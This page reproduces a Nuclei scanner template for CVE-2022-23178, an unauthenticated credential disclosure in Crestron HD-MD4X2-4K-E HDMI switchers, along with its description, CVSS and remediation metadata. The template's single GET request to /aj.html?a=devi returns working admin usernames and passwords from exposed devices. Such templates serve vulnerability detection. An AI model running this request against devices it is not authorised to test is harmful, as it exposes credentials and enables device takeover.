CVE-2022-23178: Crestron Device - Credentials Disclosure

2025-08-01 Crestron Device PoC Public

Description

An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.

PoC

id: CVE-2022-23178

info:
  name: Crestron Device - Credentials Disclosure
  author: gy741
  severity: critical
  description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.
  remediation: |
    Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23178
    - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23178
    cwe-id: CWE-287
    epss-score: 0.75159
    epss-percentile: 0.99484
    cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: crestron
    product: hd-md4x2-4k-e_firmware
  tags: cve,cve2022,crestron,disclosure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/aj.html?a=devi"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"uname":'
          - '"upassword":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210091b252e71562c5e123b6c0a814d89182d8bb2e5d1e6e7c85cd7b7b2226cb90a70220274f0a053aac3d956be0091f47e1c61ba773dcb6f60fe2a322843a3d9755da2c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23178.yaml

References

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